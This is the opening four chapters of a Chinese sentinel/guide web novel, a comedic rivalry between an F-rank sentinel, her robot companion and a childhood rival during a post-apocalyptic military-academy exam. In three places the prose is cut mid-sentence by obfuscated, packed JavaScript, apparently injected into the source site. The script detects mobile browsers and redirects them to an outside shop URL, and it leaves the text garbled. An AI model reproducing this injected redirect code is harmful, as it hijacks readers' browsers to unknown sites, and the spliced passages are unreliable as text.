《哨向文里的极品女配》 1. 第001章 宇宙污染大爆发后，毒气扩散、异种降临，人类的生存圈再一次被缩减。 新成立的联盟政府龟缩在中央星系内醉生梦死，对许多污染严重、资源贫瘠的边境星不闻不问，完全放弃。 而这些被废弃的星球，在联盟对外公开的星图上，被统一标记为“垃圾星”。 秩序混乱，鱼龙混杂，辐射、毒潮、污染区、基因病、畸形儿、异种畸变物……是垃圾星上最常见的底色。 生活在垃圾星上的普通平民在星网上，常被蔑称为“遗民”。 遗民不被尊重也享受不到人权保障，甚至，还不被允许踏足中央星系，当然，凡事都有例外，特权随处可见。 在18岁前成为哨兵或向导，是“遗民”实现阶级跨越、离开垃圾星的唯一途径。 优胜劣汰、适者生存，随着科技的进步，人类的基因也在与污染病毒、外来异种的对抗中不断变异强化—— 进化成功的人类有异能、有精神力，他们的脑域内会出现一枚晶核，继而生成精神图景，觉醒出各种精神体，最终分化为哨兵或向导。 至于进化失败的淘汰者，则会彻底失去理智，发疯狂化，最终被异种感染寄生，沦为最低等的畸变物。 在许多人眼里，哨兵就像是为战争而生的人形兵器，暴躁易怒、攻击性强；向导则是能安抚哨兵的最佳搭档，情绪稳定、善于共情。 如果说哨兵是冲锋陷阵的刀，那向导就是稳定后方的盾，在消灭异种、摧毁污染源的战场上，两者相辅相成、缺一不可。 今天是聆汐觉醒成F级哨兵的第十天，也是她参加九大军校入学联考的第八天。 联考第一天是笔试，第二天开始进入实战。 所有考生由主系统随机匹配组队后，乘坐穿梭舰，被分批带往不同的荒星考场。 无论哪一个考场，都有东、南、中、西、北，五个投放点，而每个投放点都设有一处安全基地。 安全基地只会给最先抵达的那队考生每人一份免费物资，领完免费物资，该小队如果还想要其他补给，那就要和晚一步抵达基地的考生们一样，用击杀异种、畸变物等获得的考试积分来兑换。 主持这一届实战考的考官们明显要比往年有人情味得多，不仅提前为考生们准备了安全基地，还贴心地配齐了能抵御异种入侵的防护罩—— 虽然，基地免费提供的能量石，仅够开启四天防护罩，但这已足够让历届的学姐学长们羡慕忮忌恨了。 聆汐的运气还算不错，被分到了普通难度的“末世”战场。 考生们登陆荒星后的第二天晚上，“末世”才开始爆发。 黑雨降临，毒气扩散，原本被注射了药剂处于休眠中的异种们缓缓睁开眼，从泥泞的黑土地内钻出来，闻着味儿，摇摇晃晃地向着考生们所在的安全基地出发。 黑雨后的第五天，聆汐小队所在的东部基地已没有了能量石储备。 基地防御罩彻底失灵，不少考生外出收集物资时，都受到了异种攻击。 许多出身贵族的温室花朵们，还未做好心理准备，就猝不及防地直面了战场的残酷。 有些胆小怕死的，连一个考试积分都没拿到，在撞见异种的第一时间，就本能地按下监测手环上的红色按钮向隐在暗处的S级哨兵教官们求救—— 宁愿实战成绩挂0回家挨骂，也不想继续留在“末世”吃苦受罪。 聆汐小队第一次也是唯一一次组团外出杀异种，大家出发前是哇哇哇的，一路上是嗷嗷嗷的，结局是嘤嘤嘤的。 六人去，一人归—— 被异种吓得涕泪横流的小队成员们全跟着190+的哨兵教官们跑了，徒留聆小队长独自在风中凌乱，解锁“光杆司令”成就。 废物，都是小废物！太丢F级哨向的脸了！ 聆汐苟在空荡荡的六人宿舍里，化悲愤为食欲，骂骂咧咧地把偷藏的最后一包薯片全吃完了。 小机器人棺棺监测到她的情绪，笨拙地伸手摸摸她的头，奶声奶气地安慰道：“小姨，别难过，你还有我，我会一直陪着你哒。” 棺棺是聆汐的外甥女呐呐送她的18岁生日礼物—— 小家伙机如其名，外观看起来就是一个长了机械四肢的哥特式风棺材，黑红配色，玫瑰蝙蝠纹样，能随意变换大小，最小能缩成迷你棺，拿挂绳串起来可以给聆汐当吊坠用； 遇到危险的时候，它能秒变2米长的大棺材，盖子一开，能躺下两个成年人。 只要能量石足够，棺棺隔绝污染、抵挡异种攻击的能力足以和基地防护罩比肩，属于防御功能满点的保镖型机器人。 聆汐拿指尖戳了戳它棺材盖上装饰的玫瑰花：“说好了，你要一直陪着我，有危险就要立刻把我抱进棺材里，就算能量耗尽了，也不可以抛弃我，自己跑掉！” 棺棺：“嗯嗯！我会努力保护小姨，绝对不会让异种靠近小姨！” “拉钩？” “拉钩！” 一人一机器的钩钩还没拉完，“砰”地一下，外面传来重物落地的巨大声响。 聆汐也顾不得和棺棺继续拉钩了，赶紧跑去窗边查看。 聆汐小队是第一个抵达东面基地的，除了免费物资外，还能优先挑选宿舍。 全员F级的废材小队，一致认为顶层远离楼梯的这间宿舍最安全，不仅占据最高点方便架狙，又能居高临下地暗中观察，一旦有异种闯进宿舍楼，顶楼的他们一定是苟到最后与异种交手的—— 别问他们为什么，问就是F是First的首字母给的底气。 聆汐站在落地窗前，整个人就快贴到玻璃上，瞪着眼睛，贼头贼脑地往楼下看。 一辆黑色的越野车撞开了宿舍区的大门，一路下来，撞飞了不少正要往宿舍楼里闯的异种畸变物。 刚刚的巨响，就是异种被高高撞飞后，狠狠落地的声响。 撞飞异种后，车头又开始不停调转，直接从倒地的低等异种身上碾过，一时间，黑血四溅，血肉分离，每一幕看起来都十分暴力血腥。 异种的自我繁殖和再生能力很强，如果不消杀干净它们体内带病毒的黑血，无论被击杀多少次，它们都能利用脑内虫玉的修复能力不停地重组四散碎裂的基因细胞，再生制造出新的异种。 越野车停在了聆汐入住的宿舍楼前，因为刚刚的动静，这辆车把在附近游荡的异种、畸变物都引了过来。 副驾故意打开车门撞飞一只围过来的异种，坐在后座的另一人把车门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167034|196766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了又关，直接将一个畸变物头身分离、夹成两半。 驾驶座这边的门也开了，脸未露腿先至，一条套着黑色军靴的大长腿狠狠地把张着两个血盆大口、正要扑上来的异种一脚踹飞，接着又对另一只似人非人的畸变物用上了剪刀腿，利落地一扭，一下就把畸变物的脑袋拧了下来。 堵在车门外的障碍物暂时被解决，粉发金眸、长了一张可爱娃娃脸的青年迅速跳下车。 啧！怎么是慕野这个三脚猫？ 看到那头显眼包似的粉发，聆汐皱了皱眉，不屑地从鼻孔哼了一口气。 黑色显瘦，贴身的黑衣黑裤将男人的身形衬托得愈发颀长挺拔，此刻，他手里握着一把大砍刀，砍瓜切菜似地刷刷几下，就头身分离了围攻他的那圈异种，不一会儿，这人的周围就只剩下一堆血肉模糊的断肢碎体。 与此同时，他的两名队友也迅速结束了战斗。 慕野站在原地感知了一会儿，确定闯进宿舍区的异种畸变物暂时都在这里了后，他冲队友们点点头，率先动用了火系异能，把视线范围里的异种畸变物都烧了一遍。 他的队友们也紧随其后，一个用风力助燃，把地上的异种躯干烧到只剩水火不侵的脑骨后，剩下那个队友赶紧用金系异能强化双手，蹲下身，开始吭哧吭哧地拆骨挖玉。 异种形似畸变虫族，体内携带各种病毒，汇聚到一起，会通过彼此吞噬来完成基因进化。 处于进化期的异种会不停释放出毒气，毒气浓郁到一定程度，会直接变成污染源，制造出一个又一个污染区。 异种繁殖、再生能力的能量来源是其脑内的虫玉，低等级异种的虫玉通常只有米粒大小，而高等级异种的虫玉则会随着异种进化而进化，有时还会变异变形变色—— 那些颜色罕见、形状奇特的虫玉，可是中央星系的权贵们最爱的收藏，有价无市的存在。 慕野三人的运气明显一般，忙忙碌碌大半天，挖出来的虫玉要么小、要么污染度超标，总结下来一句话： 没一颗值钱的！ 慕野三人看着那堆卖不出好价的黑、灰色虫玉，脸色很臭。 慕野不开心，聆汐就开心了。 不知道是不是聆汐高兴的情绪太过外漏，楼下的慕野似有所感地抬起头。 冰冰凉凉的双眸目标明确地找到了聆汐所在的这扇窗，穿透厚厚的玻璃，与她四目相对了个正着。 见是聆汐，男人意外又不意外，眉毛微挑，唇角轻勾，习惯性地似笑非笑。 在聆汐看来，这就是赤luoluo的挑衅！ “呵！” 聆汐双手抱胸，鼻孔朝天，自认三分凉薄七分讥诮，从头发丝到脚后跟都在用力向对方表达自己的嘲讽—— 如果忽略她唇边没擦干净的薯片碎渣……的话。 “嗤！”慕野无意识地轻笑出声。 两名队友的五感没有慕野那么出众，傻傻地跟着抬头，却不知道抬头要看什么： “怎么了？” “你看到谁了？” “没什么。”慕野收回视线，漫不经心地随口道：“不过一只偷吃没擦嘴的小仓鼠……问题不大，不用在意。” “哦？” “啧啧啧！” 2. 第002章 黑、灰色的低等虫玉虽然不值钱，但数量多的话，挂到暗网黑市上去卖，运气好，还是能小赚一笔的。 实战考开始前，每个小队都有领到一个专用于虫玉、虫晶、虫骨这类特殊材料存放的空间收纳盒。 考试结束，监考官们会对这些收纳盒进行统一回收，届时盒内战利品的总价估值将计入团队分。 最终结算时，团队分排名前三的小队成员，都会有额外加分。 慕野三人清点完这次的战利品，把能收的都收进纽扣状的收纳盒里后，觉醒金系异能的熊老三大步走到车后，打开后备箱，从里面拖出两个快和他差不多高的大包裹。 一个包裹装得全是日用品，另一个则塞满了水和食物。 他们小队今天一大早就开车出去搜寻物资，往南开了十几公里才终于找到一家还没被搬空的百货大楼。 勉勉强强，也算满载而归了。 熊老三背起装食物的那个包裹，顺势将自己的精神体熊老四放出来透透气。 下一秒，一头直立起来足有两米高的棕熊乖巧地站在满脸络腮胡的棕发男人身边。 这头棕熊长相憨厚，皮毛厚实，都不需要熊老三吩咐，就自觉上前帮他扛起另一袋包裹，屁颠屁颠地跟着他往宿舍大楼里走。 能控风的明绪拉开后座车门，与此同时，一匹枣红色的骏马精神体也凭空出现在黑色的越野车旁。 明绪把两大袋营养液搬下车，放到马背上。 骏马不乐意地从鼻孔喷出气，摇头晃脑地想把背上的累赘甩下来，明绪赶紧上前搂了搂马脖子，不一会儿就把它安抚好了。 带回来的物资有队友们负责搬运，队长慕野暂时成了闲人。 慕野的精神体是狮虎兽，外表看起来凶悍不好惹，实际上是个酷爱撒娇的嘤嘤怪。 此刻，被放出来的这只大家伙黏黏糊糊地紧跟在慕野身边，像只大猫似地，正不停地拿大脑袋蹭慕野空着的另一只手。 慕野嫌弃地啧了一声，伸手撸了撸狮虎兽的头，接着又顺便为它梳梳毛。 狮虎兽舒服地眯起眼，习惯性地发出咕噜咕噜的声响。 看到楼下那三人和精神体相处得那么融洽——特别是那只狮虎兽后面又躺倒在地、主动向慕野撒娇翻肚皮后，还杵在六楼落地窗前的聆汐忮忌得眼都红了。 唰地一下，聆汐面无表情地拉上窗帘，眼不见为净。 聆汐觉醒的精神体是虎鲸，但她和那家伙的关系并不好—— 也不能说不好，是那小家伙从头到尾都没搭理过她。 聆汐的精神力只有F级，精神图景像一个四四方方的……嗯，小鱼缸？ 黑白配色的海洋霸主待在那里，连转个身都困难。 自聆汐觉醒成哨兵后，她的精神体虎鲸就像个自闭症儿童一样，静悄悄地沉在水底自顾自emo，动都懒得动。 聆汐不知道要怎么和它交流，隔着一层透明的精神屏障，她进不去、它出不来，她试过各种办法想与自己的精神体建立共鸣，可那家伙油盐不进、完全不给她半点回应。 别说驱使精神体并肩战斗了，聆汐就连怎么把自家精神体放出精神图景都做不到—— 当然，做不到就不做，毕竟世上无难事、只要肯放弃。 聆汐郁闷了半秒，很快又把自己哄好了。 她把棺棺喊过来，让它变成半人高的中棺棺后，伸手把它抱进怀里，脸埋在它的棺盖上用力吸了一口，自言自语：“没事，我有棺棺，棺棺可大可小，能防能抗的，可不比别人的精神体差！” 棺棺伸出机械双臂温柔地回抱住聆汐：“嗯嗯嗯，小姨别担心，棺棺保护你，棺棺很有用哒！” 聆汐没再说话，静静抱了小机器人一会儿后，她听到隔壁宿舍那儿传来开门、关门的动静。 是慕野他们三人带着物资回宿舍了。 聆汐转了转眼珠，想到自己时灵时不灵的异能，赶紧拍拍小机器人的盖子，打算临时抱佛脚： “棺棺，棺棺，你有把白老师推荐给我的《哨兵的自我修养》和《从F级到S级，最强哨兵的成神之路》这两本电子书下载到本地吗？” 棺棺：“有的小姨有的，你出发前一晚，呐呐有给我发送指令，让我把你要看的那些书都下载到本机。” “除了你说的这两本专业书，还有你闭关备考前刚看到一半的《多情将军俏鳏夫》、《海马未婚夫带球跑》、《我和十八名天龙人向导不得不说的酱酱酿酿》等等都有哦！” “哦，对了，还有你前阵子天天‘翻墙’去星网蹲直播的那几位向导主播录屏，我也都有下载到本地，你想看的话，随时都能看！” 闻言，聆汐的眼睛明显一亮，整个人瞬间就来了精神：“那要不先看看莱奥斯……” 砰砰砰—— 听不下去的某人跑来敲响了聆汐的宿舍门，见半天没回应，他拍门的力度又加大了不少。 “聆汐，开门，别装死，我知道你在里面！” 是慕野。 慕野现在很烦躁，心情十分不美妙。 他是准S级哨兵，五感出众，作为第二抵达东面基地的小队队长，他故意挑了与聆汐同在一层楼的宿舍。 “末世”里的基地宿舍可不是开着白噪音的静音室，隔音效果对高等级的哨兵来说，约等于0。 刚刚聆汐和棺棺之间的对话，慕野自然听得一清二楚。 都什么时候了，这位大小姐居然还有闲心去看黄毛向导的录屏？！ 凌家那两兄弟是死人吗？！怎么还没把她偷偷“翻墙”用去看野男人的星户号给注销？！ 那些野男人向导到底有什么魅力，让她连进考场考试了都还惦记着？ 莱奥斯？居然把人名字都记住了！ 呵！ “聆汐，出来！”语气里，满是压抑的怒意和刻意的不耐。 聆汐才不肯听他的，隔着门板，她同样不耐地直接与他对吼：“干嘛？！想打架？” 慕野：“……你考前规则没看？实战考第一阶段，同基地考生禁止内斗！违者扣分！” 聆汐猛地回头看向棺棺。 棺棺没有脑袋，只能用身体模仿点头的动作。 聆汐摸了摸鼻子，假装无事发生。 慕野见她迟迟不开门，耐心告罄，咚地一声，他把手里提的物资包裹往聆汐紧闭的宿舍门前一扔，故意对她道： “聆汐，这里已经不是D09星，你现在在联考考场，面对的是‘末世’战场，你要再不端正自己的态度，最后可能连怎么死的都不知道！” “别以为有‘求救’按钮就万事大吉，那些隐在暗处的监考官只会关注贵族出身的考生，不可能次次都会及时出现。” “请你记住，我们之前签过的考前确认书上，可是清清楚楚地写着‘本人已知晓实战考具有一定危险性，有可能危及生命安全’这一条款！” “实战考里的这些异种、畸变物都是真实存在的，你别把这次考试当成是在办家家酒！” “战场上，不会有人一直保护你，就算是你的那个机器人，也有能量耗尽的一天。” 聆汐最讨厌别人教她做事，尤其是，这人还是和她青梅竹马、从小见面就掐的死对头慕野！ 不行，她忍不了！ 聆大小姐的座右铭：退一步越想越气，进一步结节全消！ 他们两才离开基地多久？一周都没有吧？ 慕野这三脚猫居然已经胆肥成这样，开始对她指手画脚了？！ 聆汐瞬间暴怒，气得双眼通红，她绷着小脸，顺手抄起棺棺的棺材盖当武器，准备开门砸死慕野。 走到一半，她想起自己的异能，虽然没用成功过几次，但她的启蒙老师有说过那是一个上限很高的超S级异能——【幻梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小姨！”棺棺发出一声尖叫，那凄厉的嗓音把正要扭头离开的慕野吓得心脏骤停。 下一秒，宿舍门被暴力踹开，面色惨白的慕野情绪失控地破门而入： “聆汐？！” - 被压在棺材盖下的聆汐，动了动鼻子，反应过来自己的处境后，小小的一团直接往后一躺，秒变鼠饼。 她闭上眼，一脸安详：累了，毁灭吧！ 棺棺感知到聆汐的生命体征已恢复稳定，很小心地用棺材盖把异能再次发动失败的小姨牢牢盖住。 一点一点，棺棺缓慢挪动自己的盖子，尽量不引人注意地护着藏在盖下的仓鼠小姨尽快同本体棺会合。 慕野长腿跨过印着玫瑰蝙蝠纹样的棺材盖，迅速把宿舍从里到外翻了一遍，结果竟连个人影都没看到。 人呢？ 慕野有些焦躁，努力稳住自己的情绪，他皱眉思索了一会儿，终于把目光放到还没盖上盖的棺棺身上： “你刚刚为什么突然尖叫？到底怎么回事？聆汐呢？是不是被有空间异能的哨兵瞬移带出考场了？” 棺棺赶紧摇了摇身体：“没有没有，小姨没离开考场！她才不会当逃兵的！” 慕野无声松了口气：“那她去哪了？你刚刚为什么尖叫？难道……” 棺棺卡顿了，手脚似乎不知道要怎么摆，看起来像是有些手足无措？ 糟糕，小姨没来得及给它指令，一时之间，它不知道要怎么应对。 眼前的这个人，是小姨的死对头，刚刚要不是他在外面用语言刺激，小姨也不会生气到情绪失控，刚发动异能就被卷进了神游状态，又双叒【幻梦创造】失败。 要是让对方发现原本是要当巨龙的小姨再次幻梦破碎，这一次居然还失败到变成小仓鼠了，小姨她肯定是要被无情嘲笑的吧？ 不能让他发现小姨！ 小姨的尊严，棺棺来守护！ 但……具体要怎么做？ 考场内屏蔽了星网，它问不了星度、发不了求助，自然也无法实时更新自己的数据库…… 棺棺盖子上的蝙蝠眼开始跳出一串又一串的乱码： 救救我救救我，怎么办呀小姨怎么办？ 3. 第003章 慕野眯起眼，盯着没盖的棺棺看了许久，直到快把小机器人弄宕机了，才缓缓移开目光，挑眉看向掉落在地的黑红棺材盖。 棺材盖上的电子蝙蝠眼原本正呈晕乎乎的蚊香状，察觉到慕野若有所思的视线，紧张得秒变红色小叉叉。 简直是……此地无银三百两！ 果然，无论是人还是AI，后天成长环境很重要，否则，就算是搭载了最强学习系统出厂的AI，遇到一个天天投喂它《多情将军俏鳏夫》这类无脑文学的主人，时间一长，真的很难不降智。 好在，这家伙的定位是防御型机器人，聪不聪明……也不是那么重要。 慕野无意识地轻嗤一声，接着注意到盖子底下漏出的那堆衣服后，自然什么都明白了。 看来，某人刚刚大概率又发动了那个不太稳定的拟态系异能—— 而且百分百是第N次造梦失败，随机变成了某个让她没脸见人的……小东西？ 这样想着，体型缩小成普通猫咪大小的狮虎兽顺势从慕野的精神图景里跑了出来。 都不用慕野单独下指令，小家伙就已兴冲冲地伸爪掀翻了棺材盖，下一秒，还眼疾手快地把刚从衣服堆里钻出来的小东西摁了个正着—— 啪叽一声，还没呼吸到一口新鲜空气的聆汐，被一爪按回地面，再次成了一摊鼠饼。 还在懵逼中的聆汐：？？ 秒变惊恐眼的棺棺：！！ 懵懵懂懂、暂未完全缓过神的聆汐眨了眨眼，下一秒，就看见一双大到离谱的军靴停在了她面前。 紧接着，她命运的后脖颈被两根修长的手指捏了起来，直到她圆溜溜的豆豆眼与一双充满兴味的金色猫瞳对视到一起—— “啧！竟然变成仓鼠了？”这算什么？偷吃没擦嘴的小报应么？ 慕野眸底藏着淡淡的笑意，漫不经心地勾了勾嘴角。 无论是他的语调还是他的笑，落在聆汐眼里，都显得恶劣又不怀好意。 啊啊啊！该死的慕野三脚猫！她要弄死他！要扒了他的皮！！要拿棺材盖把他拍成肉酱去喂异种！！！ 聆汐分分钟被点燃，立刻进入战斗模式，张嘴就要骂，然而，出口的却是一阵刺耳的吱吱吱。 听到自己的声音，聆汐僵硬了片刻，然后……更更更生气了！ 她情绪激动得继续吱哇乱叫，目露凶光。 隔着半臂不到的距离，聆汐龇牙咧嘴地冲着慕野的方向拼命挥舞四肢，自认表情狰狞、张牙舞爪，幻想自己正左勾拳、右勾拳、夺命连环踢—— 结果，一顿操作猛如虎，实际战力零点五。 特别是她现在正处于圆滚滚、胖乎乎、软绵绵的坎贝尔仓鼠拟态，还是这类小鼠里长得比较眉清目秀、甜度爆表的那种…… 以至于，就算她此刻明明是在大发雷霆，可从慕野的视角看，简直就是在委屈巴巴地撒娇卖萌，可怜又可爱。 看得人尸体暖暖、心里软软。 慕野呼吸一滞，战术性地摸摸鼻子，察觉到小团子在他指间挣扎尖叫得更厉害了，怕再下去真把人惹毛，他赶紧将手里的大小姐仓鼠小心交到机器人棺棺手里。 总算和自己的盖子会合的棺棺赶紧伸长机械臂，紧张兮兮地把仓鼠小姨捧回掌心。 棺棺腾出一根手指给炸毛小姨顺鼠毛，奶声奶气地安抚她：“不生气，不生气，小姨不生气。” 温度与力度都非常适中的机械手指将聆汐小鼠从头到尾撸了一遍又一遍。 由于棺棺的撸鼠手法专业、摸鼠技巧满分、令鼠十分享受，于是暴躁的聆大小姐很快就稳定了情绪，毛茸茸的一小团窝在棺棺的掌心里，瞧着十分乖巧。 见状，慕野无意识地摩挲了下手指，忍了又忍，到底还是没抵抗住诱惑，伸手戳了戳小鼠面团似的身体。 这一戳，又把大小姐戳炸毛了。 聆汐猛地弹跳起来，直接用两只短小的前爪抱住慕野戳她的那根手指，发狠似地对着他的指腹嗷呜一口—— 力道大的，当场就见了血，还差点把她自己的门牙都磕掉了。 直到舌尖品尝到明显的血腥味，聆汐才勉强解气地松开嘴，故意嫌弃地呸呸呸几声，把嘴里的血沫吐干净。 慕野像完全感觉不到疼，眉头都没皱一下，反倒是他的精神体狮虎兽，看到主人受伤流血，瞬间膨胀了一圈，虎目不善地瞪着棺棺手里的小毛团，无意识地发出危险的哈气声。 棺棺察觉到威胁，捧着聆汐迅速后退到墙角，棺材盖上的蝙蝠眼红光一闪，立刻进入防御状态。 有棺棺护着，聆汐愈发有恃无恐，就算面对庞然大物般的凶残狮虎兽，她也半点不怂。 甚至，她还站起身，凶巴巴地冲着狮虎兽吱吱吱，态度极其嚣张跋扈： “臭猫、坏猫、三脚猫！你凶什么凶？和你主人一样讨厌！” “别以为你哈气我就会怕你！知不知道，我觉醒的精神体可是虎鲸！虎鲸，海洋霸主的存在，一放出来直接就能把你压成一摊猫饼！哼！” “别以为我现在暂时成了仓鼠你就有机会打败我！就算是仓鼠，我也是最强的仓鼠！没看你主人刚都被我打出血了嘛！” “瞪瞪瞪，你瞪什么瞪！不服是吧？不服来战！我才不怕你！” “略略略，过来啊！有本事你过来啊！” 狮虎兽虽然听不懂吱星语，但聆汐毫不掩饰的挑衅情绪，它还是能清楚感知到的。 被激怒的狮虎兽从鼻孔喷出一口浊气，蠢蠢欲动地正要发起攻击—— 慕野赶紧出手拍了拍它的脑袋： 【刚刚又是你这家伙害她‘幻梦破碎’的吧？】 【你都把她变成小仓鼠了，还想怎么样？】 闻言，狮虎兽整个身体明显就是一僵，气息也跟着弱了下去：【……嘻嘻，我不知道你在说什么。】 慕野在心里冷笑。 狮虎兽心虚地晃了晃大脑袋，不情不愿地回到慕野脚边，蹭蹭他的裤腿，在他脑海中委屈地道： 【我在保护你。】 【她对你有杀意。】 【不能给她强大起来的机会，她会伤害你。】 慕野面无表情地低头望着狮虎兽的眼睛：【那也不是你一而再、再而三地偷偷侵入她的精神屏障，对她使用‘幻梦破碎’的理由。】 狮虎兽眼神无辜地与慕野对视了半秒，没一会儿就败下阵来。 半狮半虎的大家伙像做错事的孩子般，蔫蔫地垂下头，被慕野强行收回精神图景后，不忘再次强调： 【我在保护你。】 慕野：【我不需要你这样的保护。】 狮虎兽：【一旦她成长起来，她肯定会杀了你的。】 慕野：【……那也是我和她之间的事。】 【这是最后一次，如果你再对她用那个异能或者在我不知道的时候，又做了伤害她的事，那么，别怪我自爆晶核，拉着你同归于尽。】 狮虎兽不满地哼唧一声，第一次主动切断了与慕野之间的精神共感，躲去了深层意识海，暂时沉寂了下去。 狮虎兽被收回精神图景，刚刚令棺棺检测出威胁的那股精神威压自然也跟着消失无踪。 棺棺重新扫描了下四周环境，确认危机已经解除，暂时关闭了防御系统。 感觉赢了一场胜仗的聆大小姐，气焰愈发嚣张。 她兴奋地对着棺棺一顿吱吱吱，手舞足蹈的，情绪非常亢奋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167036|196766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>棺棺很捧场地对自家小姨各种夸夸夸，一鼠一机器人，你吱一声我夸一句，完全没有沟通障碍。 慕野无语又好笑地在一旁安静欣赏了片刻，最后实在没忍住，开口对棺棺道：“翻译下，她在吱什么？” 聆汐：？！关你*事？ 棺棺好脾气地同声传译：“小姨说，你刚刚揪她揪的有点疼，精神体还对她有敌意，她有点点不开心，暂时不是很想搭理你呢！” 这次九校联考，来自东南边境D09星的“遗民”考生，唯有慕野和聆汐两个人。 二十多年前，东南边境惊现S级污染源，当时离污染源最近的D09基地直接被放弃。 自此，D09基地成了D09星，不愿、不敢或者无法离开那里的人，统统被打上了“遗民”的标签。 那个时候，很多人都以为，D09星或许会同许许多多被废弃的垃圾星一样，被污染源侵蚀殆尽、化为废墟毒气，彻底消失在茫茫宇宙中。 危难关头，聆汐的黑暗哨兵母亲主动站了出来，抢过基地长的位置，以绝对武力震慑团结了基地里的所有人。 那个时候，无论是平民还是贵族，无论是富人还是穷人，在面临生死存亡之际，所有人都不得不放下私心、努力团结起来，拼命拧成了一股绳。 聆汐的外公外婆、大姨小姨、大舅小舅、表哥表姐们也前仆后继地上了前线污染区，最终，在以聆家为首的一大群高等级哨兵、向导自爆晶核式地击杀异种、净化污染下，被遗忘在D09基地的这些“遗民”们，用了近十年时间，真的创造出了奇迹，竟把SSS+的污染源彻底清除干净—— D09基地所在的D09星苟延残喘地“活”了下来。 满目疮痍、百废待兴，可至少，D09星的资源并未完全枯竭，“生机”和“火种”都被悄悄保存了下来。 只是，原本人才济济的聆家仅留下聆汐这根独苗。 当年仅六岁的聆大小姐也因心理创伤严重继而患上“神游症”，出现了记忆缺失并混乱的情况，自此受全基地小心翼翼地呵护关爱、反哺供养。 慕野比聆汐大2岁，10岁就觉醒了狮虎兽精神体、成了准S级哨兵，按照正常情况，他本可以在两年前就报名参加联考，但他家里人为了让他给聆大小姐作伴，硬是将他的年纪改小了两岁，把他拖到现在与大小姐一起上考场。 两人出发前，棺棺的设计者兼制造者呐呐有偷偷让棺棺记住慕野的基因信息，所以棺棺对慕野并不陌生。 聆汐虽然从小和慕野气场不合、见面就掐，还三天两头地嚷嚷着要弄死他，但在她的潜意识里，慕野到底是能让她信任的存在。 只是这两人的脾气一个比一个差，浑身上下，都是嘴最硬。 棺棺有呐呐提前输入的指令，进入考场后，有机会抓住机会、没有机会也要创造机会地缓和调节两人之间的紧张关系，履行“嘴替”的隐藏职责。 听完棺棺“翻译”的聆汐：？！ 什么情况？她刚表达的是这个意思吗？！ 慕野明显就是一愣，愣过之后，他眼底漾开一丝笑意，看着一脸气鼓鼓的仓鼠聆汐，语调玩味：“哦？” 聆汐：“吱？！” ……她错了，她刚刚不该咬他的手指，而是应该直接把他的嘴撕烂才对！ 棺棺认真分析着聆汐的情绪，语不惊人死不休地同步“翻译”：“小姨说，她向刚咬你手指的事道歉，她不该咬你的手指，她应该直接亲烂你的嘴。” 聆汐：哈？ 慕野：…… 慕野战术性地摸了摸自己有点发烫的耳朵，不自然地别过脸，轻轻咳了一声： 变成小仓鼠后，她倒是越来越胆大了…… 4. 第004章 人在尴尬的时候，就会下意识地去找点事做。 红着耳朵的慕野默默地替聆汐修了门、扫了地、顺手还把她散落在地的衣服捡了起来，然而下一秒—— 两片同色系、明显是一套的小布料轻轻飘落到了地上。 慕野金色的猫瞳骤然一缩，脸上的表情也瞬间凝固，原本只是在微微发烫的耳朵更是在顷刻间红得快要滴血。 手里捡起的这些衣服忽然变得非常烫手，让他继续拿着也不是、不拿也不是。 “谁准你碰我东西的？我有让你动我衣服吗？！” “色狼、变态、不要脸！” “你个X%￥#” 刚刚被棺棺放到书桌上、正吱吱吱指挥慕保姆给她干活的聆汐再次炸毛，鼠目一瞪，双爪叉腰，都不需要棺棺帮忙翻译，慕野也能从她激动的肢体语言中，看出她骂他骂得有多难听。 自知理亏的慕野难得没回嘴，看天看地就是没去看聆汐。 小机器人棺棺则赶紧上前接过慕野手里的衣服并地上那套，默默转身进了洗手间，熟练地将那堆衣服分类丢进智能洗衣机。 棺棺离开后，又被聆汐吱了半天的慕野在原地僵立了片刻，总算想起了被他丢在门外的那包物资。 他把包裹拎进来，放到贴了聆汐名字的那张书桌上，接着将矿泉水、压缩饼干、泡面之类的日常食物塞满聆汐空荡荡的抽屉、书架，再把仓鼠能吃的瓜子、花生、核桃之类的小零食单独挑出来。 聆大小姐不会做饭，小机器人棺棺也只会把食物煮熟、起到一个高级微波炉作用。 之前聆汐身边有两个厨艺还不错的小队队员在，吃喝上面还能蹭蹭别人的手艺，现在就剩她一个人，慕野给她准备物资的时候，可不敢给她装太为难她的东西。 好在，“末世”来临后的第三天，向导那边有一支高级异能者小队意外找到了基地藏在地下的供电站，击败守在那里的高等级异种后，那支小队成员成功把供电站抢了回来，这才让整个东面基地重新启用了电能。 慕野把一些能生吃的水果蔬菜放进宿舍冰箱，再里里外外替聆汐排查了一遍电路、确保她用电安全后，他重新走到聆汐所在的书桌前，将一根洗干净的胡萝卜递到吱累了、正瘫在那儿喘息休息的聆汐鼠面前，揶揄道： “喂，你现在……应该只能吃这个了吧？” “刚刚吱了那么久，嗓子恐怕都被你吱冒烟了，要不要来口胡萝卜补补水？” 聆汐确实吱累了，连毛都炸不动了，她有气无力地哼了一声，缓过神来后，二话不说地抬腿给了那根胡萝卜一jio，结果，胡萝卜纹丝不动，聆汐自己的jio差点骨折。 